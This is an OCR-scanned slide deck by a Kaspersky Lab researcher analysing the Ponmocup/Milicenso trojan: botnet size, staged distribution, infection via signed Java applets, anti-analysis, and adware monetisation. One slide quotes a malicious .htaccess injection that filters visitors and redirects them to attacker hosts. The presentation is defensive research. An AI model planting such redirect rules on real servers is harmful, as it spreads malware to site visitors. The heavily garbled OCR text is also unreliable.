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Agenda

@ Oh my, yet another bot.. What is special about it?
@ Distribution model: be silent and careful
@ Infection process and payload

@ What is hidden needs to be unhidden
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Yet Another Bot

Or not?
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“How Big Is Big?”

Botnet Statistics (3/3)

1'203'691

Ponmocupl

Artro

ThQCC

Probably most of you don’t even know Pognmocup, so you may ask yourself how this
botnet became that big. Well you already answered this question: The criminal
obviously managed to stay underthe radar for months (maybe even years). I'm sure
there are even more botnets outthere (like Arfro and Ponmocup) that are quite big and
still underthe radar of the AV-industry / infosec community.

10211
11'354
Zeus 7'547
4'855
SpyEye (§)2'217 J
-’, - I,/ // /‘ e //
0 200'000 400'000 600'000 800'000 1'000'000 1'200'000 1'400'000

Number of unique IPs within
M Total IPs M New IPs 24hrs hitting abuse.ch's Sinkhole

http://www.abuse.ch/?p=3294, 2011
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http://www.abuse.ch/?p=3294
http://www.abuse.ch/?p=3294

Ponmocup / Pirminay / Milicenso Trojan

» Appeared in 2009

» Not well-known, very little research
* Cc-APT-ure’s blog posts

* Couple of AV vendors’ blog posts
» Not well-detected by AV vendors

SHAZ56: d228c71d6dbe54aa529d0feb0070a5af49b482%d00e6531527bf2caeaif00ac

File name: games_vehicle_ugandan exe
Detection ratio: 6 /40

Analysis date: 2013-01-24 08:04:57 UTC { 1 wac, 19 muHyT ago |

» Why? It is well-hidden!
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http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=TrojanDownloader:Win32/Ponmocup.A&ThreatID=146443
http://c-apt-ure.blogspot.ru/search/label/ponmocup
http://blog.webroot.com/2010/11/24/troublesome-trojan-trammels-torrent-sites/
http://www.symantec.com/connect/blogs/trojanmilicenso-infection-through-htaccess-redirection

Distribution model

How Is malware delivered?
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Distribution model: scheme

G Stage 4 I
HTTP/1.1 302 Found S
Cache Cache
e Lf You have chosen to open:
Set-Cooki
Ent= ! update_go_tata_motors.zip
which is a: Compressed (zipped) Folder (442 KEB) i
HTTP from: http:/jcn. 1on Iradioministries.com =/
P Cache what should Firefox do with this file?
Tri c t'll:l:l:?rt {* ' Open with I'nfu'm-:h:u'n's Explorer {default) j
otitv T
Cor " Save File
| Cor [ Do this automatically for files like this from now on,
Miscel
Ser m_motors, zip”
Transj Ok, | Cancel
Loc
Connection: keep-alive

Reuters India - 5;: L L = L L
Expect 8-10% correction on Tata Motors: M Financial
Maoneycontrol. com - 10 minutes ago
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Distribution model: conditions

=

Stage 2: Stage 3:

« Specific cookie is not set * IP has not been

« Specific resource in referer tracked before

« Specific User-Agent « Stage 2 should be
passed successfully

—

Compromised Stage 4: r

server ‘ %9@7 « Stage 2 + Stage 3 should

be passed successfully
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Distribution model (stage 2): .htaccess kung fu

810 RewriteEngine On

Version 3

812 RewriteCond %{REQUEST FILENZME} !_+*jpgsl|.*gif$|.*pngl|.*]jpeqg|.*mpgl|-*avi|_*=zip|.*gz|-*tar|.*icos [NHC]
813 RewriteCond %{REMOTE_ADDR]} I~g8% . 245 %35 [NC]

814 BewriteCond %{REMOTE ADDE} 1~74% _125_*% [NC]

815 BewriteCond %{HITE COOEIE} I~ _*MPR_*3% [NC]

g8l& IRewriteCnnd % [{HITE USER AZENT] -*{Windows |Macintosh|iPad|iPhone | iPod | Android) . * [NC] I
817 BewriteCond %{HITFS5} ~offs

212 |RewriteBule .~ - [E=MPR:%{TIME SEC}]

813 BewriteRBule .* - [E=5jG:sherajul.venicefloridarezlestatesezrchonline. netl

820

8z1 BewriteCond %{ENV:MER} 0O I

=l HewriteRule ~.*

http://%{ENV:5jG}/s?playerh=350&svolume=52 . 38035238095238&sfeature=relatedsat=2_3&sns=ytepd=3.T70lart=41.876&scoville=lslen=304plid=RARTDZLEwPstRelgHafexp=220704,6 521
©02,5901700,51354Z,307335,522600,915308,924700,514030, 907344, 907217,52070&, 524500, 302518, 515324, 306043, 91931, 912700efs=0&=3t=23.475amos=0sh=3c08et=29. 062 ebd=212%¢
45ssdetail==f:related\$2Cerv:gZhHlugius4sptk=M03vEE3MdchyZ ZeUlrZdlQebr=4 . 88l esidu=0emr=0&bc=16573Zl&sourceid=ywacsipt=watchSadidocid=5CkpaCiboNEemd=1 &vid=DtTx35&5
2NppeplxvDgx0IBCztIRNQE4Csart=1 _453avg=autoshasstoryboard=lsvtmp=l&fvid=hNxvMZwSDzRAelact=41T727aad=BeFSEFS0THH134123538648355%0&h]1=en US&cr=ID&sad event=3&slotas=ss
t~0;sidx~0;at~2_3&el=detailpagesw=480&allowed=2_1,Z 3&tpmt=28shbd=4241576sad flags=0&fmt=345hbt=210_54lscid=4244050&referrer=httph33R\82F\32F% {HITF HOST}\%2F&sc
reenw=10Z4&cfps=16.53851380042462848acreenh=T888ast=0&playerv=e40&sendtmp=1 [R=302 ,HE, L CO=MPR:-%{ENV:MPR} % {HTTF HOST}:10843:/:0:-Httplmnly]

823 BewriteCond %{ENV:MPR} 1 l

824 RewriteBule ~_%*
http://${ENV:5jC} /lpix. gif?desdat=13403452¢942 ] sdessip=sos=Windows\%20XPslang=ensflashVer=WINY%2010%%2C1%%2C1024%2C64sdosref=http\ %32\ %2F\ 22 F% {HTTP HOST]}4\%2Fspl)
ayerURL=http'\®3A432F\%2F% {HTTPF_HOST}4“%2F&avideold=1505115783001&desuri=/viewer/video_wiewssourceld=83804535001&apublisherId=5893804535001&saffiliateld=aiplayerld=1522
73066400151l ineupld=1521712908001splayerTag= [R=302 NE, L CO=MPR:%{ENV:MPR]:%[HTTP HOST]:10233:/:0:Httplnly]

825 BewriteCond %{ENV:MPR} Z l

RewriteBule ~_%*

http:/ /% {ENV:5]C} fuds/afs?g=penawaran’ % Z0penerbangan’ %20d4diM\%20Groningent %2C, %20Belandasclient=pub—4945447887688155%8channel=2596811253258hl=idsr=m&lines=3&0e=UTF-8
£ie=UTF-85fexp=21404\%2C53010%\%2C38723sformat=nT7sad=n7snocache=13403543924036snur—0soutput=uds_ads_onlysv=3&adext=a31\%2Csrlilines=3&rurl=http\%3A\%2F\%2ZF% {HTTP_|
HOST}\%2Fsreferer=http\%3R\%2F\%32F% {HITP HOST}\%2F&u_his=13su tz=420&dt=134035432403%su w=10248u h=768&bs=1007, €l8&ps=1007, 1332&frm=0

[R=30Z,NHE,L, CO=MPR:% {ENV:MPR} :% {HITF HOS5T}:10870:/:0:Httplnly]

BewriteCond %{ENV:MER} 3 l

HewriteRule ~.*

http://%{ENV:53C}/js_£lat 1 0/ ?mkt=agimaxCount=Z&scurce=yzhoo metro id ctxtsconfig=Z0385510373sctxtUrl=http\%3A\%2F\%2F% {HTTP HOST}\%2Fsctxtld=yzhoo id metrosch
=13421396616593373 [R=302 NE L, CO=MPR:%{ENV:MPR}:%{HITF_HOS5T}:10308:/:0:Httplnly]

9 HewriteCond %[ENV:MER} 4

0 HewriteRule ~.*

=

http://%{ENV:5iG}/lpix.gif?dcsdat=1340354100312&dcssip=sos=Hindows"%20XP&elang=ensaflashVer=WIN\%2Z010%%2C1\%2C102 \%2C64edosref=http\ %32\ %2\ 32F% {HITP HOST}\%2Fipl
ayerURL=http\%3A\%2F\%2F% {HITP HOST}\%2Fsvideold=1Z1e056l6e00l&edesuri=/viewer /video wviewssourceld=83804535001spublisherId=085804535001saffiliateld=splayerId=1522
73066400151 ineupld=1521712908001splayerTag= [R=302 NE, L CO=MPR:%{ENV:MPR]:%[HTTP HOST]:9752:/:0:Httplinly]

RewriteCond %{ENV:MPR] 5 l

RewriteBule ~_%

http:/ /% {ENV:5jC]} /bPel=B5c2=62994605c3=1000000000000000002&ns__ t=13407827589528ns_c=UTF-25c8=Komik\%200ne\%20Piece’\%20\%7C \%20Chapter\ 8206 71% 206724 220Ha14 %203
%20-4%20Baca’%20Manga’\%20Bahasa\%20Indonesia\%200nlinescV=http\ 832\ 32 F\ 22 F% {HTTP HOST)}\%2ZF5cS=http'\ %32 \%2F\%2F% [HTTD HOST]W&ZF

o
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o

(X1
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Infection and payload

How the user Is infected?

What happens next?
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Infection process

€« C [ www.google.fr/url?sa=t&rct=j&q=blanquette%20de%20veaut

function j EI
if :navilj_.EudidE - g"1.5.0%")}) {

TeLUrn {jngoned applets cannot perform the following operations:

Tone [B2]mbdegiho exe 2308 <0.01 25,784 K 23,304 K RecSave PCProtect
' 1lOcy Canmnol acccss TESOWHCES @85 ic 10CHal IESYSICTIL., CACCULamc mes, sy sIcil CopDoanrd, and ProllcTs.

' Flash EPig ® Thev cannot connect to or retriev - Image File server other than the server it originated from).[
| erreerra| * Thev cannot load native libraries. @ RecSave R/ /1s
.lonlra:  ® Thev cannot change the Security] (Mot verified) PCProtect
'22i1sce. e They cannot create a ClassLoade| Version:  5.0.0.0
! ® Thev cannot read certain svstem | Time: 1/28/2013 2:00 PM forbidden svstem properties.
% . Path:
- SlgnEd AFIFHE'I'.S IC:‘l.l_.lsers\adm\ﬁppﬂamﬂnaming‘unt}degihn.E}(E

Sioned lets do not have the secuntv restrictions that are 1

<img s v

=

<fform> PLAYER Paortions of this site requires Flash Player 8. Click the link to Get Flash Player 8!
</div>
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Trojan self-protection

» Active anti-debugging/sandboxing/reverse engineering
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Actual payload and monetization
s

A

Sanctioned

MEDIA

helping keep The Infernel Free

SanctionedMedia is a contextual search-based advertising application that allows us and our partners to provide you
content and software, free of charge. SanctionedMedia recognizes keywords from your web browser and matches
them to relevant products and services from our advertisers. SanctionedMedia delivers a limited number of
contextually relevant ads and will never spam you with generic advertisements. A typical user will receive less than 3
ads per day.

SanctionedMedia can be easily uninstalled at any time by using the "Add or Remove Programs" menu in the Control
Panel. For more detailed instructions, please click the "How To Uninstall” link below.

SanctionedMedia is interested in working with select software publishers to distribute our product via software
bundling. We only work with partners that meet our high standards of distribution. Our software must be distributed
exactly as we provide it. You can not create your own install method. You must use our provided self-installing exe
and can not, under any circumstances, circumvent our required disclosure screens prior to install. Absolutely no
illegal or unethical distribution methods are allowed or will be tolerated.

If you are a software publisher / distributor with a software product that gets at least 5,000 installs per month and
would like to increase your revenue by partnering with, and distributing, SanctionedMedia, please contact us at
partners@sanctionedmedia com. We normally work on a revenue share basis, but will also consider a pay-per-install
(PPI} arrangement with select partners.
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What is hidden needs to
be unhidden

Summary & future steps
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What is hidden needs to be unhidden

» \What was unhidden

Very carefully crafted malicious campaign

Uses hacked websites, domains and dedicated servers for
distribution, stolen digital certificates for infection

Robust protection from being analyzed/reversed
Target — install PUPs (PPl monetization model)

More than 3 years in the game, still roughly noticed by
Information security community and detected by AV vendors

» What needs to be unhidden

Current botnet size

Server-side code on dispatchers and infectors
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Thank you!

Evgeny Aseev
Head of Virus Lab, APAC
Kaspersky Lab
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